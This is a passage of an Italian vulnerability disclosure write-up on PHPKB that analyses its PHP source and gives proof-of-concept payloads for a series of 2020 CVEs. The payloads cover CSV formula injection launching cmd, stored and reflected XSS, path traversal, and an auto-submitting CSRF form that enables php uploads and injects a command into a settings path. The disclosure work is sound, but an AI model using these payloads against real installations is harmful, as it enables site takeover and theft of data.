					    scrollTop: $("#"+subject_id).offset().top-60
					}, 2000);
		    	}
		    });
		break;

Il file js/harvester.js estrae tutte le email presenti in un form ed effettua una richiesta ajax al file admin/include/operations.php. Analizziamo quest’ultimo file:

<?php
// Ricordiamo i parametri POST inviati dal file Javascript: &called=ajax&act=harvest&sub_act=csvexport
// Omissione di alcune linee di codice e include
	if(trim($_POST['called'])=='ajax') // Il risultato di questo costrutto di confronto è positivo in quanto il valore del parametro POST called è ajax
	{
		switch(trim($_POST['act'])){ // Abbiamo il costrutto switch case, viene preso in considerazione il parametro POST act
			case 'harvest': // Il risultato del confronto è positivo, abbiamo trovato il case dove il valore è harvest
				if($_SESSION['admin_level_Session_ML']=='Superuser'){ // Controlla se siamo autenticati come Superutente
					$subAction = trim($_POST['sub_act']); // Il contenuto del parametro POST sub_act è copiato nella variabile subAction
					include_once(__DIR__ . '/functions-harvest.php'); // Le funzioni necessarie al funzionamento della pagina vengono incluse
					switch($subAction){ // Abbiamo il costrutto switch case, viene preso in considerazione il valore della variabile subAction
						case 'extract': // Questo case viene saltato in quanto il risultato del confronto è negativo
							displayEmails();
						break;
						case 'csvexport': // Il risultato del confronto è positivo, abbiamo trovato il case dove il valore è csvexport
							$download_image	= '<img src="images/download.png" style="vertical-align:middle;" alt="Download" /> ';
							$_data 			= explode('||',str_replace(',','||',urldecode($_POST['data'])));
							$_emails 		= validateInput($_data); // Analizzeremo in seguito questa funzione, per adesso può essere saltata
							if(is_array($_emails))
							{
								$_filename	= generateFilename(); // Viene creato un filename casuale
								//if(exportAsCSVManual($_filename, array('Email Address'=>$_emails))){
								if(exportAsCSV($_filename, array('Email Address'=>$_emails))){ // Il file CSV viene creato ed è pronto per essere scaricato, analizzeremo in seguito questa funzione
									echo "<div class=\"alert alert-success\">
											<button type=\"button\" class=\"close\" data-dismiss=\"alert\" aria-hidden=\"true\">&times;</button>
											CSV File has been generated successfully. <a class=\"alert-link\" href=\"{$GLOBALS['path_kb']}/admin/backups/$_filename\" target=\"_blank\" title=\"Click to Download\">$download_image Download</a></div>";
								}else{
									echo"<div class=\"alert alert-danger\">$error_image<strong>Error:</strong> $_error</div>";
								}
							}
						break;
						default: echo $denied_message;
					}
				}
				break;

Il file appena analizzato contiene numerose funzioni, ognuna delle quali svolge operazioni differenti. I parametri inviati dalla richiesta ajax servono a individuare quale funzione eseguire. Le email, salvate nella variabile $_data, vengono prima passate alla funzione validateInput() e poi alla funzione exportAsCSV(). Queste due funzioni vengono definite nel file admin/include/functions-harvest.php e incluse nel file corrente. Analizziamole:

<?php
// Omissione di alcune linee di codice
function validateInput($_data=array())
{
	foreach($_data as $email) // Esegui un loop dove vengono analizzate, una a una, tutte le email acquisite dall'harvester
	{
		if(trim($email)!=''){ // Se l'email non è una stringa vuota
			if(!preg_match("/\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/", $email)){ // Esegui un controllo mediante l'utilizzo di una espressione regolare; se il controllo non va a buon fine, stampa un errore
				echo '<div class="info red-text" style="margin-bottom:5px;">
						<strong>Error:</strong>
						<p>Invalid email address supplied for export to csv.</p>
					 </div>';
				return;			 
			}else{
				$_validatedEmails[] = $email; // Altrimenti, se il controllo va a buon fine, aggiungila nell'array _validatedEmails
			}
		}
	}

// Omissione di alcune linee di codice

function exportAsCSV($filename='', $data=array(), $header = true)
{ // Funzione responsabile della creazione e scrittura del file csv
	global $_error; 
	$line = $comma = '';
	if(!$fp = fopen('../backups/'.$filename, 'wb+')){ // Se non abbiamo i permessi necessari per scrivere nella cartella ../backups/ stampa un messaggio di errore
		$_error = 'Couldn\'t create the output file: <strong>'.$filename.'</strong>.';
		return false;
	}
	if($header) {
		@fputcsv($fp, array_keys($data));
	}
	foreach($data as $key=>$emails){ // Scrivi le email nel file csv	
		foreach($emails as $email){
			@fputcsv($fp, array($email));
		}
	}
	fclose($fp);
	return true;

La funzione validateInput() verifica la validità delle email mediante l’utilizzo della espressione regolare /\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/. In seguito, le email vengono passate alla funzione exportAsCSV(), il cui scopo è quello di creare e di scrivere il file csv. Il seguente proof of concept è in grado di bypassare il controllo effettuato con l’espressione regolare e, per confermare la vulnerabilità, apre calc.exe:

test@test.com||=2+5+cmd|' /C calc'!A0@test.com||||

Video

Blind Cross-Site Scripting (CVE-2020-10461)

Exploit eseguibile da: Chiunque, inclusi utenti esterni non registrati

File vulnerabile: admin/manage-comments.php

Ogni volta che un utente invia un commento su un articolo viene effettuata la seguente richiesta GET a include/ajax-hub.php:

[PHPKB]/include/ajax-hub.php?usefor=AddComments&aid=1&nm=myname&em=my%40email.com&cmt=my%20comment&sc=captchacode

Analizziamo quindi il file include/ajax-hub.php:

<?php
// Omissione di alcune linee di codice
if( $_POST['act']=='xedit-cmt' ){ // Quando effettuiamo un commento non abbiamo il parametro POST _act, quindi il confronto fallisce e saltiamo all'else
// Omissione di alcune linee di codice
}
else{ 
// Omissione di alcune linee di codice
	include('hub.php'); // Viene incluso il file hub.php
}

Viene incluso il file include/hub.php, procediamo, quindi, con l’analisi di questo file:

<?php
// Omissione di alcune linee di codice e include
	include('functions.php'); // Viene incluso il file functions.php
// Omissione di alcune linee di codice
elseif($_GET['usefor']=='AddComments') // Se il parametro GET usefor è uguale a AddComments esegui il codice qui sotto
{
	$article_id = (int)$_GET['aid']; $name = $_GET['nm']; $email = $_GET['em']; $comments = $_GET['cmt']; $scode= $_GET['sc']; // I valori dei parametri GET vengono copiati nelle rispettive variabili
	$UseFor = 'After Post';
	echo Add_Comment($article_id); // La funzione Add_Comment(), definita in include/functions.php, viene prima eseguita, poi stampata
}

Come possiamo notare: viene incluso il file include/functions.php, viene effettuato un controllo per verificare quale operazione si vuole eseguire, vengono copiati i parametri GET nelle rispettive variabili e viene eseguita la funzione Add_Comment(), presente nel file include/functions.php. Analizziamo quest’ultimo file:

<?php
// Omissione di alcune linee di codice
	case 'article.php':
		include( __DIR__ . '/functions-inline-edit.php'); // La funzione Add_Comment() non viene definita qui
		include( __DIR__ . '/functions-article.php'); // La funzione Add_Comment() viene definita qui
		include( __DIR__ . '/functions-articles-display.php'); // La funzione Add_Comment() non viene definita qui
		break;

Vengono inclusi diversi file, la funzione di nostro interesse si trova in include/functions-article.php. Analizziamo quest’ultimo file:

<?php
// Omissione di alcune linee di codice e include
function Add_Comment($article_id=0) { // La funzione Add_Comment() viene definita qui
// Omissione di alcune linee di codice
	if($comments_allowed=='no'){ // Se i commenti sono disabilitati allora stampa un errore, altrimenti prosegui nell'esecuzione
		echo'<div><br/></div><div class="flagged-message-tpl orange-flag-tpl"><div class="content">'.$lang['article_section_disabled_text'].'</div></div>';
		return;
	}
	if($GLOBALS['UseFor']=='After Post') { // Il confronto è vero in quanto la variabile globale UseFor è stata impostata a After Post nel file include/hub.php
// Omissione di alcune linee di codice
		if($name=='')		{ $errors .= "<li class=\"error-text\">{$lang['required_text']} ({$lang['name_text']})</li>";	 } // Se il nome del commento è vuoto, stampa un errore
		if($comments=='')	{ $errors .= "<li  class=\"error-text\">{$lang['required_text']} ({$lang['comment_text']})</li>"; } // Se il corpo del commento è vuoto, stampa un errore
// Omissione di alcune linee di codice
			$detect_entities= array("<",">", "'", '"');
			$change_entities= array("&lt;", "&gt;", "&#39", "&quot;");
			$comments		= str_replace($detect_entities, $change_entities, $comments); // Vengono filtrati e modificati i caratteri che potrebbero causare Cross-Site Scripting mediante l'utilizzo della codifica html
			if(mysqli_query($GLOBALS['connection'], "INSERT INTO phpkb_comments VALUES(0, $article_id, '$name', '$email', '$comments', NOW(), '$comment_status')")) // Le variabili article_id, name, email, comments, la data corrente e comment_status vengono inserite all'interno del database

Nel penultimo passaggio il commento pubblicato dall’utente viene controllato e i caratteri che potrebbero causare una Cross-Site Scripting vengono filtrati. Il commento, insieme ad altre informazioni, viene salvato nel database.

Il file admin/manage-comments.php consente a un Superutente o Redattore di controllare tutti i commenti che sono stati pubblicati nel sistema di knowledge base. Analizziamo quest’ultimo file:

<?php
// Omissione di alcune linee di codice e include
include( __DIR__ . '/include/check-authority.php'); // Controlla se siamo autenticati come Superutente/Redattore/Scrittore
// Omissione di alcune linee di codice
	$query			= "	SELECT * 
						FROM phpkb_comments {$left_outer_join}
						WHERE {$comments_fetch_query} {$article_id_query} {$articles_string} {$lang_part}
						{$orderby_query} 
						LIMIT {$from},{$range}"; // La query per estrarre i commenti dal database viene preparata
	$results		= mysqli_query($GLOBALS['connection'], $query); // La query viene eseguita
// Omissione di alcune linee di codice
									$detect	= array("&acute;","&lsquo;","&rsquo;"," &amp; ","&quot;","&mdash;","&rsquo;","&#92;");
									$change	= array("´","‘","’"," & ",'"',"—","'","\\");
									while($record = mysqli_fetch_assoc($results)) // Per ogni commento trovato
									{
// Omissione di alcune linee di codice
										$comment	= strip_tags(str_replace($detect, $change, htmlspecialchars_decode($record['comment']))); // Vengono eseguite le funzioni htmlspecialchars_decode() e str_replace(): così facendo viene annullato il controllo e il filtraggio effettuato nel file include/functions-article.php
// Omissione di alcune linee di codice
													<a class=\"editlink_{$comment_id}\" data-value=\"{$comment}\" data-name=\"comment\" data-pk=\"{$comment_id}\" data-type=\"textarea\" id=\"{$e_prefix}{$comment_id}\" href=\"javascript:;\"><i class=\"fa fa-pencil {$hidden_xs}\"></i> <small class='btn btn-default btn-xs {$GLOBALS['visible_xs']}{$GLOBALS['hidden_sm']}{$GLOBALS['hidden_md']}{$GLOBALS['hidden_lg']}'><i class=\"fa fa-pencil\"></i> Quick Edit</small></a> // La variabile comment viene stampata nella pagina web senza essere filtrata, quindi abbiamo una vulnerabilità Cross-Site Scripting

Quando viene visitata la pagina di gestione dei commenti viene eseguita una query sql per estrarre tutti i commenti salvati nel database. Su ognuno di essi vengono eseguite le funzioni str_replace() e htmlspecialchars_decode() che vanno ad annullare il filtraggio effettuato nel file include/functions-article.php: i caratteri dannosi che in precedenza erano stati codificati in html vengono decodificati. Il commento, quindi, viene stampato senza essere filtrato.

Il seguente proof of concept mostra come un utente esterno è in grado di sfruttare questa vulnerabilità:

Video

Arbitrary File Listing (CVE-2020-10459)

Exploit sfruttabile da: Superutente/Redattore/Scrittore/Traduttore

File vulnerabile: admin/assetmanager/functions.php

AssetManager è una utility presente in PHPKB, il cui scopo è quello di gestire i file che sono stati caricati attraverso il sistema di knowledge base.

Questa utility ci consente di caricare file in diverse cartelle prefissate che possono essere scelte mediante l’utilizzo di un menù a tendina. Ogni volta che selezioniamo una cartella viene inviata una richiesta a admin/assetmanager/assetmanager.php contenente il nome della cartella scelta nel parametro POST inpCurrFolder; il web server risponde mostrando la lista dei file presenti in quella cartella. Questo è un esempio di richiesta inviata:

METODO RICHIESTA: POST
URL: [PHPKB]/admin/assetmanager/assetmanager.php?ffilter=&selView=list&forpdf=
DATI: inpFileToDelete=&inpCurrFolder=..%2F..%2Fassets%2Fimportcomplete&del_refresh=

Lato backend non viene effettuato alcun tipo di controllo, quindi possiamo intercettare e modificare la richiesta. Inserendo ../ nel parametro POST inpCurrFolder è possibile saltare alle cartelle superiori. Un attaccante, quindi, potrebbe ottenere la lista dei file presenti in una cartella da lui specificata.

Per dimostrare la vulnerabilità, ho creato una cartella di nome test nella cartella root del mio hard disk e ho utilizzato il seguente proof of concept:

METODO RICHIESTA: POST
URL: [PHPKB]/admin/assetmanager/assetmanager.php?ffilter=&selView=list&forpdf=
DATI: inpFileToDelete=&inpCurrFolder=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftest&del_refresh=

Video

Modifica di un campo personalizzato: Reflected Cross-Site Scripting (CVE-2020-10462)

Exploit mirato al: Superutente

File vulnerabile: admin/edit-field.php

I passi da seguire per individuare l’injection point sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “articles”, poi su “custom fields” e infine su “add new”;
  • riempire i parametri con valori casuali e cliccare su “save custom field”;
  • selezionare il campo e cliccare su “edit”.

La vulnerabilità si trova nel parametro p=. Ho preparato questo proof of concept:

[PHPKB]/admin/edit-field.php?id=2&p="'/><marquee/onstart=confirm(1)>

Modifica di un template: Reflected Cross-Site Scripting (CVE-2020-10463)

Exploit mirato al: Superutente

File vulnerabile: admin/edit-template.php

I passi da seguire per individuare l’injection point sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “articles”, poi su “article templates” e infine su “add new”;
  • riempire i parametri con valori casuali e cliccare su “save article template”;
  • selezionare il template e cliccare su “edit”.

La vulnerabilità si trova nel parametro p=. Ho preparato questo proof of concept:

[PHPKB]/admin/edit-template.php?id=1&p="'/><marquee/onstart=confirm(1)>

Modifica di un articolo: Reflected Cross-Site Scripting (CVE-2020-10464)

Exploit mirato a: Superutente/Redattore

File vulnerabile: admin/edit-article.php

I passi da seguire per individuare l’injection point sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “articles” e poi su “add article”;
  • riempire i parametri con valori casuali e cliccare su “save article”;
  • selezionare l’articolo e cliccare su “edit”.

La vulnerabilità si trova nel parametro p=. Ho preparato questo proof of concept:

[PHPKB]/admin/edit-article.php?aid=1&p="'/><marquee/onstart=confirm(1)>

Modifica di una categoria: Reflected Cross-Site Scripting (CVE-2020-10465)

Exploit mirato al: Superutente

File vulnerabile: admin/edit-category.php

I passi da seguire per individuare l’injection point sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “categories” e poi su “add new”;
  • riempire i parametri con valori casuali, cliccare su “save category” e infine su “manage categories”;
  • selezionare la categoria e cliccare su “edit”.

La vulnerabilità si trova nel parametro p=. Ho preparato questo proof of concept:

[PHPKB]/admin/edit-category.php?id=1&p=ciao"/><marquee/onstart=confirm("1")>

Modifica di un termine di glossario: Reflected Cross-Site scripting (CVE-2020-10466)

Exploit mirato al: Superutente

File vulnerabile: admin/edit-glossary.php

I passi da seguire per individuare l’injection point sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “glossary” e poi su “add new”;
  • riempire i parametri con valori casuali e cliccare su “save”, poi su “manage” e infine su “edit”.

La vulnerabilità si trova nel parametro p=. Ho preparato questo proof of concept:

[PHPKB]/admin/edit-glossary.php?id=5&p= "'/><marquee/onstart=confirm(1)>

Modifica di un commento: Reflected Cross-Site Scripting (CVE-2020-10467)

Exploit mirato al: Superutente

File vulnerabile: admin/edit-comment.php

I passi da seguire per individuare l’injection point sono:

  • inviare un commento su un articolo casuale;
  • effettuare il login come Superutente;
  • cliccare sulla sezione “comments”, poi su “pending”;
  • selezionare il commento e cliccare su “edit”.

La vulnerabilità si trova nel parametro p=. Ho preparato questo proof of concept:

[PHPKB]/admin/edit-comment.php?cid=1&p="'/><marquee/onstart=confirm("XSS+HERE")>

Modifica di una notizia: Reflected Cross-Site Scripting (CVE-2020-10468)

Exploit mirato al: Superutente

File vulnerabile: admin/edit-news.php

I passi da seguire per individuare l’injection point sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “news” e poi su “add new”;
  • riempire i parametri con valori casuali, cliccare su “save”, poi su “manage” e infine su “edit”.

La vulnerabilità si trova nel parametro p=. Ho preparato questo proof of concept:

[PHPKB]/admin/edit-news.php?id=6&p="'/><marquee/onstart=confirm(1)>

Modifica di un dipartimento: Reflected Cross-Site Scripting (CVE-2020-10469)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-departments.php

I passi da seguire per individuare l’injection point sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “tickets” e poi su “departments”;
  • riempire i parametri con valori casuali, cliccare su “save” e infine su “edit”.

La vulnerabilità si trova nel parametro sort=. Ho preparato questo proof of concept:

[PHPKB]/admin/manage-departments.php?sort="'/><marquee/onstart=confirm(1)>&order=

Riordino dei campi personalizzati: Reflected Cross-Site Scripting (CVE-2020-10470)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-fields.php

I passi da seguire per individuare l’injection point sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “articles” e poi su “custom fields”;
  • aggiungere un nuovo campo e cliccare sul menù dropbox (quello utilizzato per decidere se visualizzare 10/25/50/100 risultati).

La vulnerabilità si trova nel parametro sort=. Ho preparato questo proof of concept:

[PHPKB]/admin/manage-fields.php?sort="'/><marquee/onstart=confirm(1)>&order=

Riordino degli articoli: Reflected Cross-Site Scripting (CVE-2020-10471)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-articles.php

I passi da seguire per individuare l’injection point sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “articles” e poi su “my articles”;
  • aggiungere un nuovo articolo e cliccare sul menù dropbox (quello utilizzato per decidere se visualizzare 10/25/50/100 risultati).

La vulnerabilità si trova nel parametro sort=. Ho preparato questo proof of concept:

[PHPKB]/admin/manage-articles.php?sort="'/><marquee/onstart=confirm(1)>

Riordino dei template: Reflected Cross-Site Scripting (CVE-2020-10472)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-templates.php

I passi da seguire per individuare l’injection point sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “articles” e poi su “article templates”;
  • aggiungere un nuovo template e cliccare sul menù dropbox (quello utilizzato per decidere se visualizzare 10/25/50/100 risultati).

La vulnerabilità si trova nel parametro sort=. Ho preparato questo proof of concept:

[PHPKB]/admin/manage-templates.php?sort="'/><marquee/onstart=confirm(1)>

Eliminazione di una categoria: Reflected Cross-Site Scripting (CVE-2020-10473)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-categories.php

I passi da seguire per individuare l’injection point sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “categories” e poi su “add new”;
  • riempire i parametri con valori casuali e cliccare su “save category”;
  • cliccare su “manage categories” e poi su “delete category”.

La vulnerabilità si trova nel parametro sort=. Ho preparato questo proof of concept:

[PHPKB]/admin/manage-categories.php?sort="'/><marquee/onstart=confirm("XSS")>&order=&status=public&action=status&status=public&id=1&action=delete

Eliminazione di un commento: Reflected Cross-Site Scripting (CVE-2020-10474)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-comments.php

I passi da seguire per individuare l’injection point sono:

  • inviare un commento su un articolo casuale;
  • effettuare il login come Superutente;
  • cliccare sulla sezione “comments” e poi su “pending”;
  • selezionare il commento e cliccare su “delete”.

La vulnerabilità si trova nel parametro sort=. Ho preparato questo proof of concept:

[PHPKB]/admin/manage-comments.php?status=pending&cid=2&action=del&status=pending&sort="'/><marquee/onstart=confirm(1)>&order=

Eliminazione di un ticket: Reflected Cross-Site Scripting (CVE-2020-10475)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-tickets.php

I passi da seguire per individuare l’injection point sono:

  • inviare una domanda nella relativa sezione;
  • effettuare il login come Superutente;
  • cliccare su “tickets” e poi su “delete”.

La vulnerabilità si trova nel parametro sort=. Ho preparato questo proof of concept:

[PHPKB]/admin/manage-tickets.php?sort="'/><marquee/onstart=confirm(1)>

Modifica di un termine di glossario: Reflected Cross-Site Scripting #2 (CVE-2020-10476)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-glossary.php

I passi da seguire per individuare l’injection point sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “glossary” e poi su “add new”;
  • riempire i parametri con valori casuali e cliccare su “save”;
  • cliccare su “edit” e poi su “save”.

La vulnerabilità si trova nel parametro sort=. Ho preparato questo proof of concept:

[PHPKB]/admin/manage-glossary.php?sort="'/><marquee/onstart=confirm(1)>&order=

Modifica di una notizia: Reflected Cross-Site Scripting #2 (CVE-2020-10477)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-news.php

I passi da seguire per individuare l’injection point sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “news” e poi su “add new”;
  • riempire i parametri con valori casuali e cliccare su “save”;
  • cliccare su “edit” e poi su “save”.

La vulnerabilità si trova nel parametro sort=. Ho preparato questo proof of concept:

[PHPKB]/admin/manage-news.php?sort="'/><marquee/onstart=confirm(1)>&order=

Modifica delle impostazioni globali: Cross-Site Request Forgery (CVE-2020-10478)

Exploit mirato al: Superutente

File vulnerabile: admin/manage-settings.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “tools” e poi su “manage settings”;
  • cliccare su “save settings”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
    <form action="[PHPKB]/admin/manage-settings.php" method="POST" id="myForm" name="myForm">
<input type="hidden" name="kbname" value="test" />
      <input type="hidden" name="kburl" value="[PHPKB]" />
      <input type="hidden" name="kb&#95;access" value="unrestricted" />
      <input type="hidden" name="extended&#95;support&#95;license&#95;key" value="" />
      <input type="hidden" name="mail&#95;server" value="default" />
      <input type="hidden" name="smtp&#95;hostname" value="" />
      <input type="hidden" name="smtp&#95;username" value="" />
      <input type="hidden" name="smtp&#95;password" value="" />
      <input type="hidden" name="smtp&#95;port" value="" />
      <input type="hidden" name="encryption&#95;method" value="None" />
      <input type="hidden" name="emails&#95;debug&#95;mode" value="0" />
      <input type="hidden" name="emails&#95;debug&#95;output" value="error&#95;log" />
      <input type="hidden" name="send&#95;mails&#95;from" value="" />
      <input type="hidden" name="test&#95;email" value="" />
      <input type="hidden" name="mysqlserver" value="127&#46;0&#46;0&#46;1" />
      <input type="hidden" name="mysqlusername" value="root" />
      <input type="hidden" name="mysqlpswd" value="DummyPass" />
      <input type="hidden" name="mysqldatabase" value="test" />
      <input type="hidden" name="kb&#95;layout" value="fluid" />
      <input type="hidden" name="category&#95;tree&#95;width" value="3" />
      <input type="hidden" name="sidebar&#95;orientation" value="left" />
      <input type="hidden" name="category&#95;tree&#95;layout" value="normal" />
      <input type="hidden" name="show&#95;tree&#95;articles" value="yes" />
      <input type="hidden" name="category&#95;articles&#95;count" value="show" />
      <input type="hidden" name="categories&#95;display&#95;order" value="Alphabetic" />
      <input type="hidden" name="home&#95;theme" value="modern" />
      <input type="hidden" name="home&#95;search&#95;layout" value="default" />
      <input type="hidden" name="categories&#95;layout&#95;theme" value="theme1" />
      <input type="hidden" name="show&#95;categories&#95;cols" value="4" />
      <input type="hidden" name="category&#95;title&#95;size" value="normal" />
      <input type="hidden" name="home&#95;articles&#95;layout" value="tabbed" />
      <input type="hidden" name="display&#95;featured" value="yes" />
      <input type="hidden" name="featured&#95;count" value="5" />
      <input type="hidden" name="display&#95;popular" value="yes" />
      <input type="hidden" name="popular&#95;count" value="5" />
      <input type="hidden" name="display&#95;rated" value="yes" />
      <input type="hidden" name="rated&#95;count" value="5" />
      <input type="hidden" name="display&#95;recent" value="yes" />
      <input type="hidden" name="recent&#95;count" value="5" />
      <input type="hidden" name="enable&#95;subscribe&#95;kb" value="yes" />
      <input type="hidden" name="kb&#95;subscribe&#95;theme" value="minimal" />
      <input type="hidden" name="category&#95;articles&#95;layout" value="default" />
      <input type="hidden" name="category&#95;page&#95;records&#95;default" value="10" />
      <input type="hidden" name="category&#95;page&#95;records&#95;minimal" value="10" />
      <input type="hidden" name="articles&#95;sortby" value="Popularity" />
      <input type="hidden" name="articles&#95;sortorder" value="Descending" />
      <input type="hidden" name="enable&#95;subscribe&#95;category" value="yes" />
      <input type="hidden" name="enable&#95;news&#95;page" value="yes" />
      <input type="hidden" name="display&#95;homepage&#95;news" value="yes" />
      <input type="hidden" name="number&#95;homepage&#95;news" value="5" />
      <input type="hidden" name="enable&#95;login&#95;page" value="yes" />
      <input type="hidden" name="enable&#95;glossary&#95;page" value="yes" />
      <input type="hidden" name="enable&#95;contact&#95;page" value="yes" />
      <input type="hidden" name="send&#95;contact&#95;email" value="yes" />
      <input type="hidden" name="contact&#95;email&#95;address" value="hey.do.not.try.to.grab.my.information@justjoking.it" />
      <input type="hidden" name="enable&#95;instant&#95;suggestions" value="yes" />
      <input type="hidden" name="minimum&#95;question&#95;characters" value="60" />
      <input type="hidden" name="default&#95;search" value="Articles" />
      <input type="hidden" name="search&#95;in&#95;articles" value="All" />
      <input type="hidden" name="search&#95;in&#95;others" value="Both" />
      <input type="hidden" name="search&#95;filter" value="Any&#32;Word" />
      <input type="hidden" name="display&#95;recentviewed" value="yes" />
      <input type="hidden" name="recentviewed&#95;count" value="5" />
      <input type="hidden" name="display&#95;popular&#95;searches" value="yes" />
      <input type="hidden" name="popularsearch&#95;count" value="5" />
      <input type="hidden" name="article&#95;page&#95;theme" value="default" />
      <input type="hidden" name="article&#95;sidebar&#95;content" value="related" />
      <input type="hidden" name="enable&#95;add&#95;favorite" value="yes" />
      <input type="hidden" name="enable&#95;print&#95;article" value="yes" />
      <input type="hidden" name="enable&#95;email&#95;article" value="yes" />
      <input type="hidden" name="enable&#95;exportto&#95;msword" value="yes" />
      <input type="hidden" name="enable&#95;exportto&#95;pdf" value="yes" />
      <input type="hidden" name="enable&#95;subscribe&#95;article" value="yes" />
      <input type="hidden" name="enable&#95;custom&#95;fields" value="yes" />
      <input type="hidden" name="enable&#95;article&#95;rating" value="yes" />
      <input type="hidden" name="enable&#95;article&#95;hits" value="yes" />
      <input type="hidden" name="enable&#95;article&#95;author" value="yes" />
      <input type="hidden" name="show&#95;author&#95;email" value="yes" />
      <input type="hidden" name="enable&#95;related&#95;articles" value="yes" />
      <input type="hidden" name="number&#95;related&#95;articles" value="10" />
      <input type="hidden" name="show&#95;related&#95;articles&#95;randomly" value="yes" />
      <input type="hidden" name="enable&#95;article&#95;feedback" value="yes" />
      <input type="hidden" name="enable&#95;article&#95;comments" value="yes" />
      <input type="hidden" name="existing&#95;comments&#95;visibility" value="hide" />
      <input type="hidden" name="show&#95;comments&#95;to" value="all" />
      <input type="hidden" name="comments&#95;sortorder" value="Descending" />
      <input type="hidden" name="email&#95;privacy&#95;protection" value="yes" />
      <input type="hidden" name="article&#95;meta&#95;source" value="article&#32;title" />
      <input type="hidden" name="notify&#95;pending&#95;comment&#95;superuser" value="yes" />
      <input type="hidden" name="notify&#95;approved&#95;comment&#95;user" value="yes" />
      <input type="hidden" name="schema&#95;publisher&#95;name" value="" />
      <input type="hidden" name="schema&#95;publisher&#95;logo" value="" />
      <input type="hidden" name="enable&#95;rss&#95;feed" value="yes" />
      <input type="hidden" name="enable&#95;rss&#95;featured&#95;feed" value="yes" />
      <input type="hidden" name="enable&#95;rss&#95;popular&#95;feed" value="yes" />
      <input type="hidden" name="enable&#95;rss&#95;latest&#95;feed" value="yes" />
      <input type="hidden" name="enable&#95;rss&#95;rated&#95;feed" value="yes" />
      <input type="hidden" name="enable&#95;rss&#95;related&#95;feed" value="yes" />
      <input type="hidden" name="number&#95;login&#95;attempts" value="9" />
      <input type="hidden" name="login&#95;delay" value="15" />
      <input type="hidden" name="maxfilesize" value="5120" />
      <input type="hidden" name="kb&#95;allowed&#95;upload&#95;file&#95;types" value="php" />
      <input type="hidden" name="searching&#95;method" value="0" />
      <input type="hidden" name="fulltext&#95;mode" value="0" />
      <input type="hidden" name="searchresultsperpage" value="10" />
      <input type="hidden" name="enable&#95;search&#95;files" value="yes" />
      <input type="hidden" name="doc&#95;path" value="C&#58;&#92;antiword&#92;antiword&#46;exe" />
      <input type="hidden" name="ppt&#95;path" value="C&#58;&#92;xampp&#92;htdocs&#92;phpkb&#92;admin&#92;ppthtml&#46;exe" />
      <input type="hidden" name="xls&#95;path" value="C&#58;&#92;xampp&#92;htdocs&#92;phpkb&#92;admin&#92;xlhtml&#46;exe" />
      <input type="hidden" name="pdf&#95;path" value="C&#58;&#92;xampp&#92;htdocs&#92;phpkb&#92;admin&#92;pdftotext&#46;exe" />
      <input type="hidden" name="enable&#95;pdf" value="pdf" />
      <input type="hidden" name="index&#95;attachment" value="yes" />
      <input type="hidden" name="enable&#95;autosave" value="yes" />
      <input type="hidden" name="autosave&#95;interval" value="120000" />
      <input type="hidden" name="use&#95;wysiwyg&#95;editor" value="yes" />
      <input type="hidden" name="enable&#95;version&#95;history" value="yes" />
      <input type="hidden" name="enable&#95;captcha" value="yes" />
      <input type="hidden" name="captcha&#95;type" value="default" />
      <input type="hidden" name="recaptcha&#95;site&#95;key" value="" />
      <input type="hidden" name="recaptcha&#95;secret&#95;key" value="" />
      <input type="hidden" name="syntax&#95;highlighter&#95;theme" value="shThemeRDark" />
      <input type="hidden" name="pdf&#95;library" value="wkhtmltopdf" />
      <input type="hidden" name="wkhtmltopdf&#95;path" value="ping&#32;127.0.0.1" />
      <input type="hidden" name="pdf&#95;header" value="" />
      <input type="hidden" name="pdf&#95;footer&#95;type" value="default" />
      <input type="hidden" name="pdf&#95;page&#95;numbers" value="yes" />
      <input type="hidden" name="pdf&#95;page&#95;number&#95;position" value="Left" />
      <input type="hidden" name="pdf&#95;footer" value="" />
      <input type="hidden" name="kb&#95;meta&#95;keywords" value="" />
      <input type="hidden" name="kb&#95;meta&#95;desc" value="This&#32;is&#32;demo&#32;meta&#32;description&#46;&#32;You&#32;can&#32;enter&#32;here&#32;your&#32;meta&#32;description&#46;" />
      <input type="hidden" name="admin&#95;results&#95;perpage" value="10" />
      <input type="hidden" name="&#95;selected&#95;tab&#95;" value="" />
      <input type="hidden" name="submit&#95;hd" value="Save" />
      <input type="hidden" name="submit&#95;float&#95;btn" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Creazione di un una notizia: Cross-Site Request Forgery (CVE-2020-10479)

Exploit mirato a: Superutente/Redattore

File vulnerabile: admin/add-news.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente o Redattore;
  • cliccare sulla sezione “news” e poi su “add new”;
  • riempire i parametri con valori casuali e cliccare su “save news”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

